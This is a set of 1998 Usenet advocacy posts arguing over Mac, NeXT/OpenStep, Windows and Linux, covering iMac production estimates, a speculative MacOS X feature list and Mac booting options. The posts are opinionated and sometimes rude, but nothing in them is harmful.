Date: Sun, 09 Aug 1998 19:26:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qkt4m$5t1$1@nnrp1.dejanews.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com> <casper-0908980912140001@acorn-b-05.oakmont.nb.net>
In article <casper-0908980912140001@acorn-b-05.oakmont.nb.net>,
casper@nb.net (Tim Scoff) wrote:
> Darn straight. Things work the way they are supposed to work. But
> there are a ton of third party hardware options that Apple doesn't sell
> and the way Apple does things is they say, "Write to this set of specs and
> your hardware will work on every Mac" and surprise surprise when I plugged
> 3 video cards and 4 monitors into my Mac and rebooted everything just
> worked! Not one of the video cards or monitors was made by Apple by the
> way.
Things aren't perfect on the Mac either. The Mac driver architecture is so
primitve that it's surprising that things work as well as they do. Still, you
can't use any Kensington input device with any Adesso device (crash). You
can't use your Mouseman with a Datadesk (can't move pointer). OTOH, I have
never encountered any hardware/driver conflict with an flavor or UNIX.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Deborah Peck <debpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Sun, 09 Aug 1998 14:43:51 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <35CE09FE.426@nstar.net>
References: <slrn6spbg5.k22.mark@ns1.oaai.com> <ExFtKp.4MD@prosoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 9 Aug 1998 19:40:41 GMT
Lyle Parkyn wrote:
> I'am with Mark on this. The immediacy of Webster's on NextStep/OpenStep is
> a huge convience. (I wasn't sure of the spelling of immediacy so I took a
> stab at it, selected my effort, cmd-= and voila there it was in Webster's.
> cmd-h and it's hidden out of view. about 3 seconds effort.)
[...]
> Damn mediocrity!
http://www.m-w.com
That might be 10 seconds' effort. Darned firewalls.
MJP
From: NeedALight?@NOT.netcom.com (Goin' Nova)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: 9 Aug 1998 08:06:40 GMT
Organization: Flames-R-Us
Message-ID: <NeedALight?-0908980118140001@147.oakland-01.ca.dial-access.att.net>
References: <joe.ragosta-0708981530570001@wil31.dol.net> <NeedALight?-0708982354540001@68.oakland-01.ca.dial-access.att.net> <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <joe.ragosta-0808980914350001@elk50.dol.net> <NeedALight?-0808981101420001@240.oakland-01.ca.dial-access.att.net> <35cc9690.0@news.depaul.edu>
Mail-Copies-To: never
Otherwise_Known_As: John Hausmann
In article <35cc9690.0@news.depaul.edu>, Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Goin' Nova <NeedALight?@NOT.netcom.com> wrote:
>
> > I suggest you read it for clarity. In it you will find the following:
>
> > "They plan to have at least the first 30,000 of these machines in stores
> > by next Friday. That, I doubt. As of last week, only about 5,000 iMacs had
> > been produced."
>
> If this is true, then Apple's only been producing about 50 iMacs a day at
> each of the three factories. That strikes me as being quite unlikely.
Take it up with Cringely.
--
Further, you make grammar errors, show mistakes in word choice, and
commit logical fallacies regularly. I don't. On top of all that,
you like a shithouse on fire.
Guess who? in <5o1nmn$4qc@dfw-ixnews5.ix.netcom.com>
From: rkuo@seas.upenn.edu (Richard Kuo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 09 Aug 1998 07:19:11 GMT
Organization: MindSpring Enterprises
Message-ID: <35ce4c8e.13882531@news.mindspring.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Fri, 07 Aug 1998 17:42:27 -0700, gmgraves@slip.net (George Graves)
wrote:
>In article <35C9C503.2B61@genetics.utah.edu>, Patrick O'Neil
><poneil@genetics.utah.edu> wrote:
>
>> George Graves wrote:
>> >
>> > In article <35C86ABE.4EE5@genetics.utah.edu>, Patrick O'Neil
>> > <poneil@genetics.utah.edu> wrote:
>> [...]
>> >
>> > I see. You don't mind running Win95 and NT, but you won't run the
>> > "dismal Mac OS". Have you seen your psychiatrist lately Mr. O'Neil?
>> > Because you're nuts!
>> >
>>
>> Not at all. As much as I dislike M$ and Gates, the latest Winblows
>> variants (perversions?) ARE more stable than MacOS.
>
>Hmmm I've run OS8 and 8.1 for over a year without a crash. How's
>that stack up for reliability? Also, if you were to ask the Hong
>Kong Airport Authority or the US Navy about NT, they might
>disagree with you about ITS reliability as well. I'd say you have
>some preconceived notions, Mr. O'Neil, which won't stand up under
>close scrutiny.
What is the deal with those two stories? I mean, was the
MacOS even considered for these purposes? Taking educated bets...
============================================
Visit The Silicon Edge at:
http://siliconedge.ml.org
Comprehensive reviews of computer hardware and software,
plus daily updates with the best and the latest news!
From: RasAllGhul@webtv.net (Joshua Moore)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: Sun, 9 Aug 1998 15:08:04 -0400 (EDT)
Organization: WebTV Subscriber
Message-ID: <28740-35CDF394-52@newsd-122.bryant.webtv.net>
References: <6qa5sl$4pm1@onews.collins.rockwell.com>
Mime-Version: 1.0 (WebTV)
Content-Type: Text/Plain; Charset=ISO-8859-1
Content-Transfer-Encoding: Quoted-Printable
ETAtAhUAlvaTDcE1dbPHxL5KqFLaZ6rdD/8CFAecXYUW6TReonMGpTejGk2/GfL2
Group: comp.sys.next.advocacy Date: Wed, Aug 5, 1998, 5:48pm (EDT+4)
From: embuck@palmer.cca.rockwell.com (Erik=A0M.=A0Buck) What is MacOS-X
Really ?
What is MACOS-X ?
I want to cut through the marketing and get some real definition of this
thing Apple is building.
A lot of this will be wrong and incomplete because Apple is not
providing good information. Can you help me refine the list ?
MacOS-X:
- Looks just like MacOS-8.x
- Has resource forks in HFS+ and all related incompatibilities
- Runs Carbon applications natively and older Mac applications in a Blue
Box without the box
- Runs YellowBox applications natively
- Uses TrueType fonts
- Will initially only run on G3 processors (and possibly not some of
them - iMac)
- Will support Apple Script with scriptable applications
- Will have some variant of Mach micro kernel
- Will use QuickDraw Enhanced as its only supported graphics API
- Will have QuickTime
- Will have pre-press Color support but NOT PANTONE
- Will have Microsoft Internet Explorer
- Will require disk de-fragmentation tools
- Will have a "Finder" based on Carbon APIs
- Will use case insensitive file names
- Will not have built in Display Postscript
- Will only use bitmap previews of EPS files
- Will not support remote device independent vector graphics
- Will not support telnet or other shell environments out of the box
- Will not provide standard unix utilities out of the box =A0 =A0 =A0
(How could they work with HFS+ anyway)
- Will not support UFS or NFS out of the box
- Will have no built in remote administration other than Netinfo
- Will not have standard configuration via rc scripts
- Will not support UNIX services such as cron, autonfsmountd, lpd,
telnetd, nfsd, inetd, lookupd, ypbind, syslogd, etc.
- Will have sockets API support but not STREAMS
- Will not have ubiquitous NeXT services, Terminal services, Open
Sesame, TeXview, etc.
- Will not have Digital Librarian
- Will not have Digital Webster
- Will not have TeX
- Will not have man pages
- Will not have a Dock or a Shelf
- Will not support ubiquitous text services (Due to Carbon applications
not using Text objects)
- Will not support ubiquitous spell checking and other text services
- Will not support multiple paste-boards
- Will not support ubiquitous drag and drop between Carbon Apps and
YellowBox Apps
- Will not have an OO API for Quicktime other than the Java API
- Will not have a standard 3D kit
- Will not have FAT binaries (Will not support more than one CPU
architecture)
- Will not have Intel version
- Will not have cross-compilation (Will not support more than one CPU
architecture)
- Will not be POSIX certified (but may support many of the APIs)
- Will not have X-Windows support out of the box
- Will not have MAC Inits
- Will not have patched trap tables
- Will not change display resolution without reboot
- Will support multiple monitors with multiple graphics cards
- Will not support high color fidelity dithering in low color modes
- Will not have standard GNU utilities out of the box (gnutar, gzip,...)
What have I forgotten ?
Will MacOS-X contain a single line of code from Openstep outside the
YellowBox ? MacOS-X will have a new kernel, new file system, new
graphics system, no command line utilities,...
------
"But there's nothing more sadistic than an infant, waving his pistol in
my face. He wants me right down on my knees, crumbling in disgrace.
He underestimates my mind, I know he's messing with my head." - Trigger
Happy Jack by Poe
From: cquirke@iafrica.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 09 Aug 1998 09:47:40 GMT
Organization: UUNET Internet Africa
Message-ID: <35cd6ebe.86957801@news.iafrica.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com> <gmgraves-0808981534410001@sf-usr1-24-152.dialup.slip.net>
On Sat, 08 Aug 1998 15:34:40 -0700, gmgraves@slip.net (George Graves)
>In article <35cc74c1.22951144@news.iafrica.com>, cquirke@iafrica.com wrote:
>> What might be impressive is if you can boot off the CD-ROM without any
>> reference to the HD at all (i.e. can remove the HD, still works) for
>> debugging and virus cleaning purposes. I've heard this is possible,
>> and that would be a major advantage...
>Get ready to be impressed. That's exactly how it works.
I was, and am! ;-)
>> Irrelevant. IIS4 and NT aren't Win95.
>Same awful interface, though.
That's the new breakthrough! Before, it was an even worse interface -
geez, there wasn't even system-wide support for the right mouse button
From: cquirke@iafrica.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 09 Aug 1998 09:47:38 GMT
Organization: UUNET Internet Africa
Message-ID: <35cd6d74.86628144@news.iafrica.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com> <id_est-0808981442240001@192.168.1.3>
On Sat, 08 Aug 1998 14:42:22 -0400, id_est@interport.net (tse_di)
>In article <35cc74c1.22951144@news.iafrica.com>, cquirke@iafrica.com wrote:
>> On Sat, 08 Aug 1998 12:29:05 GMT, casper@nb.net (Tim Scoff) wrote:
>> >In article <35CC0CA9.5AEEF798@algonet.se>, Petri Holopainen
>> >Plus every Mac for the last 5-6 years has been able to boot from the
>> >CD ROM drive so you just put the CD ROM drive in and reboot
>> In itself, nobigdeal (so you have 1 instead of 2 disks to insert).
>> What might be impressive is if you can boot off the CD-ROM without any
>> reference to the HD at all (i.e. can remove the HD, still works) for
>> debugging and virus cleaning purposes.
>On a Mac you CAN boot of the CD (or a ZIP, Syquest, whatever) without any
>reference to the HD. The Hard drive is just another disk, nothing Special.
That I like. In fact, that's the first thing I've heard about the Mac
that has given me any sort of interest (let alone "Mac envy").
It's a durn fine feature...
>You can disconnect it. In fact a while ago I had a HD that had a corrupted
>driver on it so it would crash at startup. The solution was to unplug the
>power to the drive, Start the machine off the CD (which worked fine), then
>plug in the power to the drive and install a new driver.
Plug the HD's power in while the system is running? Sounds like you
have some serious cowboys in support!
Or are your HDs hot-swappable?
>Until the G3's most macs could boot off a RAM disk as well, independent of
>the HD.
How does the RAM disk get to have any contents before power up - or is
this rebooting rather than first-time booting?
From: jmcn@ont.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: Sun, 9 Aug 1998 15:38:20 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <MPG.1037c4bb416ff4729896d5@news.ont.com>
References: <joe.ragosta-0708982205020001@elk59.dol.net> <B1F18F6F-2E069@206.165.43.124> <joe.ragosta-0808980940350001@elk50.dol.net>
In article <joe.ragosta-0808980940350001@elk50.dol.net>,
joe.ragosta@dol.net says...
> Nice straw man. I never said that.
Please please, the "nice straw man" line has been repeated 50 times in
the last 2 weeks. If someone doesn't program the Ragosta bot to say
something else, I'm gonna be ticked.
From: justincsNOSPAM@psi.net (Justin Case)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Date: Sun, 09 Aug 1998 16:25:20 -0500
Organization: Oh, for the hell of it.
Message-ID: <justincsNOSPAM-0908981625200001@1cust195.tnt2.det3.da.uu.net>
References: <justincsNOSPAM-0908981142380001@1cust147.tnt3.det3.da.uu.net> <552-35CDE5F5-24@newsd-124.bryant.webtv.net>
-y%"%xcYz/}y+:xU3BN;]\1<'w@TnK1[_d9)>|(Z{XP1+6@2c?w\kAE0l;jn),:.Bl/B
TD(@MtZ''BCd^X}97=;v`4~%bNx+5bYnFhHC!Q4V"\:@XY:sL"B5$$8:54<"mAKy77!l
In article <552-35CDE5F5-24@newsd-124.bryant.webtv.net>,
RasAllGhul@webtv.net (Joshua Moore) wrote:
[snip]
> >Isn't this the same "sour grapes" Robert X.
> >Cringely who was ousted from Apple in the
> >early days?
>
> >If you indeed watched Triumph of the Nerds,
> >did you not notice the negative spin
> >concerning Apple's fate during the final ten
> >minutes of the series?
>
> It's been a while since I last saw it, but I do recall a little
> negativity. I can't say it was unjustified at the time.
I can. Who the hell is he to be placing nails in the coffin of an American
icon? As was the case with Harley Davidson [another American business icon
that arose from the deathwatch of media ashes], Apple has the right to try
and survive without the con spin-mastery of the media or self-appointed
expert losers like Robert X. Cringely.
> >Cringely's yet another of the doom and gloom
> >"Apple's Dead" insider-media wanna-be's. His
> >word amounts to beans in my opinion...
>
> Reading his columns (from pbs.org) I got the sense that he was very
> positive about the Mac, and very negative about Apple's management.
> To me, all of his claims and concerns seem justified and stem from a
> love of the platform (he's a Mac user and developer).
No kidding? What has he developed recently for the Macintosh platform
besides FUD?
> >>His claim that only 5,000 iMacs had been
> >>produced isn't really that hard to believe. By
> >>MacWorld Apple only had about 100 iMacs -
> >>all hand built and of varying quality. And
> >>they've definitely had production problems,
> >>mainly to do with the case and the monitor.
>
> >Manufacturing is tricky business. Speculate all
> >you want; Apple WILL fill the orders come
> >August 15.
>
> I don't doubt that they will. But I'd rather come to that conclusion
> after having examined all the facts presented to me, not because of
> blind faith in Apple.
Examine all the *speculation* you want. The *fact* is that Apple has a lot
of orders to fill by August 15. The iMac rage is one of the biggest
successes ever to hit Apple in it's history. With all the media and the
competition watching and with Jobs' insanely competitive nature clearly in
full gear-- Apple will again shine...:)
--Justin
"What's new, Normie?"
"Terrorists, Sam. They've taken over my stomach and they're demanding beer."
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac Menu (Was Mac OS X UI)
Date: Sun, 09 Aug 1998 21:51:40 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35CE0B9C.5EB0@earthlink.net>
References: <6qkeot$83$1@sibyl.sunrise.ch> <wmoss-0908982043540001@ip132.atlanta5.ga.pub-ip.psi.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
William Moss wrote:
> A while back there was an Acrobat document being circulated around the net
> purportedly from the Apple human user interface group describing changes
> to the interface to be made in the Rhapsody timeframe. It was not a
> finalized thing; merely working ideas. But some of these ideas are coming
> to fruition. The desktop "tray" was recently granted a software patent so
> now that that's been legally protected you might see it in the future.
>
> There are other ideas in that document that seem reminiscent of borrowed
> functionality from Windows and NeXTStep. Check it out.
That document was absolutely HORRIBLE!!! I would stick with the current
Mac interface over that abomination any day! I would much rather see
the option to use a true NeXT interface as a choice when installing the
new OS.
Steve
Date: Mon, 10 Aug 1998 06:45:44 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac preorders
Message-ID: <joe.ragosta-1008980645450001@elk41.dol.net>
References: <macghod-0808980307190001@sdn-ar-002casbarp315.dialsprint.net> <26760-35CC83E2-35@newsd-124.bryant.webtv.net>
In article <26760-35CC83E2-35@newsd-124.bryant.webtv.net>,
RasAllGhul@webtv.net (Joshua Moore) wrote:
> Steve=A0Sullivan wrote:
>
> >But, I didnt emphasize this enough... Who the
> >hell is Robert Cringely anyways? Take back
> >anything bad I may have insinuated about
> >apple in this post. *IF* this RObert Cringely
> >were correct, what I said was true. But I find it
> >VERY VERY VERY dubious of a claim that
> >apple has only built 5000 imacs so far.
>
> Robert X. Cringely produced the miniseries "Triumph of the Nerds" for
> PBS, detailing how people like Steve Jobs and Bill Gates made their
> money in the early days of personal computing.
> You can find his article at:
> http://pbs.org/cringely/
>
> and more about him at:
> http://pbs.org/cringely/whois.html
>
> His claim that only 5,000 iMacs had been produced isn't really that hard
> to believe. By MacWorld Apple only had about 100 iMacs - all hand built
> and of varying quality. And they've definitely had production problems,
> mainly to do with the case and the monitor.
Let's try to do some math.
MacWorld was 6 weeks before the iMac launch. That's about 12% of the year.
Apple has been shipping 2.4 million Macs per year. So, during 6 weeks,
they'd have the capacity to produce at least 300,000 Macs (and that's
assuming that the plants were running flat out to produce 2.4 million).
Apparently, they've been making almost nothing but iMacs since MacWorld.
Even if they're only at 50% of capacity, they'll have 150,000 iMacs by
mid-August.
Granted, no one can be sure what the correct utilization rate is. And I'm
sure it started low and is increasing. But it doesn't take that long to
produce a pile of machines.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 10 Aug 1998 05:06:49 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6qlv59$el2$3@lwnws01.ne.highway1.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com> <joe.ragosta-0508980949010001@wil46.dol.net> <6q9qt9$cvg$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0608980031190001@207-172-129-235.s235.tnt2.col.erols.com> <6qberc$3lm$1@lwnws01.ne.highway1.com> <macghod-0508982344010001@sdn-ar-001casbarp214.dialsprint.net> <joe.ragosta-0608980741550001@0.0.0.0> <6qcas6$b1e$1@lwnws01.ne.highway1.com> <NOamradioSPAM-0708980534080001@207-172-128-210.s210.tnt1.col.erols.com>
NOamradioSPAM@thebizlink.com (Steve) wrote:
> Why you boys have it all wrong. And to think you don't appreciate my
> consideration. I just tailor what I write to my audience and write in a
> style that they can understand. The 3rd grade level seems to be a cap for
> you.
>
> Which begs the question, if you are so advanced why bother with us?
Kindness. Not letting stupidity be the last word. But conversing with you
makes me ponder that question more and more.
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: 10 Aug 1998 01:20:09 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ssim9.9v8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <chrisj-0708981444340001@usr1a5.bratt.sover.net>
On Fri, 07 Aug 1998 14:44:33 -0500, Chris Johnson <chrisj@airwindows.com> wrote
: Jobs is a backstabber. _We_ know that- ask a Cyberdog user, ask an
:OpenDoc developer. _You_ haven't figured it out yet... which is fine,
:because Jobs has done all the backstabbing on Apple projects that he wants
:to do- and now it's your turn.
That's wasn't backstabbing, that's frontstabbing. Jobs didn't promote
one thing and then kill it in these circumstances. Some other bozos
promoted OpenDoc et al and Jobs killed them.
Its said that Apple is seems to be the only one to hang on to
dead technologies even longer than IBM. Not too swift.
: I still have heard nothing to cast doubt on the rumor that Jobs killed
:Rhapsody at the behest of Gates. Gates said "Kill 'Rhapsody'. People are
:talking about it and stuff- it sounds new and promising- kill it for me,
:Steve. I'll let you still have the next Office, and I won't make NT curl
:up and die when a Mac box is on the network." Sure this is obscenely
:monopolistic, Gates calling the shots at competing companies as well as
:his own, but, you know...
:
: Well, looky here- it's something called 'MacOS X'. Can you say 'stealth
:Rhapsody'? Can you say 'no different from Rhapsody except that Jobs didn't
:actually promise to kill BSD-based multipile-'box'-running NT-competition,
:just 'Rhapsody'? I knew you could ;)
Now *that's* backstabbing! ;-)
"it's just the next version of widdle old MacOS! weally!"
I wonder if this is the reason that they're saying that OSX won't have
Unix tools.
i.e.: they're lying, to avoid activating the Windows Defense Alert.
Jobs is one of the few with a sufficiently big ego to take on Gates.
Unlike all the others, e.g. Ellison, McNealy, Andressen, he knows
enough to not shoot his mouth off about it before the hammer is ready
to drop, lest he shows up on the Death Star's targeting system.
He is so convincing that lots of Mac advocates have accused him of selling
out. Undoubtably that is his criterion for "sufficient believability."
{The Linux people have an even better defense: there's no 'there there', no
way to kill it because Linux just oozes up from everywhere.}
: Chris Johnson
: chrisj@airwindows.com
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 10 Aug 1998 01:24:16 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ssiu0.9v8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <35C71113.5BEC@bellatlantic.net> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qa6d3$bll$1@morgoth.sfu.ca>
On 5 Aug 1998 17:56:51 GMT, Erick Bryce Wong <erick@sfu.ca> wrote:
:
:On the other hand, my old Mac Plus running 6.0.1 almost never crashed on me
:in 8 years of use. I was freaked the first time MS Word 3.0 crashed while
:I was typing up a relatively long document :).
:
:Perhaps it's true what they say about programs being better-tested back then.
Amelio claimed that the 68K->PPC switch introduced many bugs.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "kevbob" <kevbob.AlLsPaM@ecsis.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.society.futures
Subject: Re: Ok, so doesn't Linux solve Apple's problems?
Date: 9 Aug 1998 22:58:11 GMT
Organization: end of the beginning
Message-ID: <01bdc3e9$63e6ac60$070c9ace@ecsis>
References: <6qbfd8$134$1@mail.llu.edu> <joe.ragosta-0608980803160001@0.0.0.0> <6qce0h$r12$3@nnrp02.primenet.com> <joe.ragosta-0608981034100001@wil64.dol.net> <6qcm6m$kf4$4@nnrp03.primenet.com> <joe.ragosta-0608981343160001@wil38.dol.net><10397493D9F9D620.7A8BEB7286739C10.4B76E5EE595FAD4B@library-proxy.airnews.net> <m3r9ysx7ob.fsf@minerva.hfranz.cm.cuci.nl> <2C4D28DD7886FFF9.149D1C795DE032AE.DF71131897BC388C@library-proxy.airnews.net> <6qie5m$1m9$1@nnrp02.primenet.com>
John Jensen <jjens@primenet.com> wrote in article
<6qie5m$1m9$1@nnrp02.primenet.com>...
> Perhaps:
> - Apple continues to back Linux as a hedge against other bets?
> - Apple thinks MacOS X will compete well on ease-of-use vs. Linux?
> - Apple doesn't understand the momentum behind Linux?
> - Apple really is a bunch of hippies who are secretly rooting for
> Linux to win?
> I'd be interested in hearing other analysis,
well, since MkLinux runs on the Mach microkernel, and rhapsody and mac os
x( as i understand from what i've seen about it so far) also run on the
mach mk, i felt that apple was using the MkLinux team to get the Mach mk up
and going for future use.
or, maybe they just wanted to see a cute ol' penguin sitting on top of a
power mac?
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 10 Aug 1998 07:46:24 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980810074624202124@pm2-1-12.aug.com>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net> <35CC0CA9.5AEEF798@algonet.se> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c1.22951144@news.iafrica.com> <casper-0908980912140001@acorn-b-05.oakmont.nb.net> <6qkt4m$5t1$1@nnrp1.dejanews.com>
<quinlan@intergate.bc.ca> wrote:
> Things aren't perfect on the Mac either. The Mac driver architecture is so
> primitve that it's surprising that things work as well as they do.
It's a hell of a lot better on the Mac than on any other "consumer" OS.
--
Remove nojunk from my email address to reply by email.
From: The Name Nobody Wanted <noone@nowhere.com>
Newsgroups: comp.sys.next.advocacy
Subject: Hello.
Date: Sun, 09 Aug 1998 19:58:18 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35CDF146.289C37E@nowhere.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
I think the Next computer is really dumb. Didn't they go out of
business? I thought they did. Oh well. Gotta go the bathroom now.
Bye-bye.
Date: Mon, 10 Aug 1998 08:26:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-1008980826090001@wil81.dol.net>
References: <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q84ju$pc6$1@plo.sierra.com> <joe.ragosta-0508980757270001@wil62.dol.net> <35d29182.145288125@news.mindspring.com>
